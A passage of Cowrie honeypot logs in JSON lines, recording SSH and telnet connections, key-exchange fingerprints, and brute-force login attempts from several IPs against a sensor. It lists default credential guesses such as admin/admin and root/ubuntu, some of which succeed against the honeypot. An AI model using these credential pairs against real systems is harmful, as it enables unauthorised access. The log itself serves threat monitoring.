v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:04.483041Z","src_ip":"87.251.64.176","session":"130913ad3f65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:04.771760Z","src_ip":"87.251.64.176","session":"130913ad3f65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:04.872194Z","session":"130913ad3f65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:04.971345Z","src_ip":"87.251.64.176","session":"130913ad3f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:05.070102Z","src_ip":"87.251.64.176","session":"130913ad3f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49374,"dst_ip":"159.203.135.109","dst_port":22,"session":"ced0ec8c3ad4","protocol":"ssh","message":"New connection: 45.153.34.114:49374 (159.203.135.109:22) [session: ced0ec8c3ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:07.155868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:07.159128Z","src_ip":"45.153.34.114","session":"ced0ec8c3ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:07.242302Z","src_ip":"45.153.34.114","session":"ced0ec8c3ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:07.497591Z","src_ip":"45.153.34.114","session":"ced0ec8c3ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:08.586501Z","src_ip":"45.153.34.114","session":"ced0ec8c3ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13741135597229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:08.895936Z","src_ip":"74.91.213.120","session":"bd6f7867c844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34308,"dst_ip":"159.203.135.109","dst_port":22,"session":"595ed7cfc913","protocol":"ssh","message":"New connection: 45.153.34.114:34308 (159.203.135.109:22) [session: 595ed7cfc913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:15.360749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:15.365838Z","src_ip":"45.153.34.114","session":"595ed7cfc913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:15.453421Z","src_ip":"45.153.34.114","session":"595ed7cfc913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:15.712525Z","src_ip":"45.153.34.114","session":"595ed7cfc913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:16.820686Z","src_ip":"45.153.34.114","session":"595ed7cfc913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffc48544c9d1","protocol":"telnet","message":"New connection: 74.91.213.120:42306 (159.203.135.109:23) [session: ffc48544c9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:21.206959Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46070,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e3051b9b6f8","protocol":"ssh","message":"New connection: 45.153.34.114:46070 (159.203.135.109:22) [session: 7e3051b9b6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:23.202230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:23.219919Z","src_ip":"45.153.34.114","session":"7e3051b9b6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:23.291220Z","src_ip":"45.153.34.114","session":"7e3051b9b6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:23.627489Z","src_ip":"45.153.34.114","session":"7e3051b9b6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:24.723862Z","src_ip":"45.153.34.114","session":"7e3051b9b6f8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:29.777871Z","src_ip":"223.85.103.114","session":"81a872b8121c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:29.824627Z","src_ip":"223.85.103.114","session":"81a872b8121c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56886,"dst_ip":"159.203.135.109","dst_port":22,"session":"d38e1ef8041d","protocol":"ssh","message":"New connection: 45.153.34.114:56886 (159.203.135.109:22) [session: d38e1ef8041d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:31.529131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:31.533357Z","src_ip":"45.153.34.114","session":"d38e1ef8041d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:31.618983Z","src_ip":"45.153.34.114","session":"d38e1ef8041d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:31.871402Z","src_ip":"45.153.34.114","session":"d38e1ef8041d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:32.957738Z","src_ip":"45.153.34.114","session":"d38e1ef8041d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56902,"dst_ip":"159.203.135.109","dst_port":22,"session":"15eabc1af62f","protocol":"ssh","message":"New connection: 45.153.34.114:56902 (159.203.135.109:22) [session: 15eabc1af62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:39.331058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:39.338946Z","src_ip":"45.153.34.114","session":"15eabc1af62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:39.424267Z","src_ip":"45.153.34.114","session":"15eabc1af62f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:39.763468Z","src_ip":"45.153.34.114","session":"15eabc1af62f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:40.850568Z","src_ip":"45.153.34.114","session":"15eabc1af62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54462,"dst_ip":"159.203.135.109","dst_port":22,"session":"53aa066c1a33","protocol":"ssh","message":"New connection: 45.153.34.114:54462 (159.203.135.109:22) [session: 53aa066c1a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:47.022516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:47.027044Z","src_ip":"45.153.34.114","session":"53aa066c1a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:47.136766Z","src_ip":"45.153.34.114","session":"53aa066c1a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:47.459217Z","src_ip":"45.153.34.114","session":"53aa066c1a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:48.550676Z","src_ip":"45.153.34.114","session":"53aa066c1a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12773609161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:52.334466Z","src_ip":"74.91.213.120","session":"ffc48544c9d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59624,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf7afff8535","protocol":"ssh","message":"New connection: 45.153.34.114:59624 (159.203.135.109:22) [session: acf7afff8535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:55.474046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:55.478549Z","src_ip":"45.153.34.114","session":"acf7afff8535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:55.567744Z","src_ip":"45.153.34.114","session":"acf7afff8535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:55.960687Z","src_ip":"45.153.34.114","session":"acf7afff8535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:54:57.047699Z","src_ip":"45.153.34.114","session":"acf7afff8535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52226,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbf54d9eee3e","protocol":"ssh","message":"New connection: 45.153.34.114:52226 (159.203.135.109:22) [session: fbf54d9eee3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:03.679547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:55:03.689618Z","src_ip":"45.153.34.114","session":"fbf54d9eee3e","protocol":"ssh"}
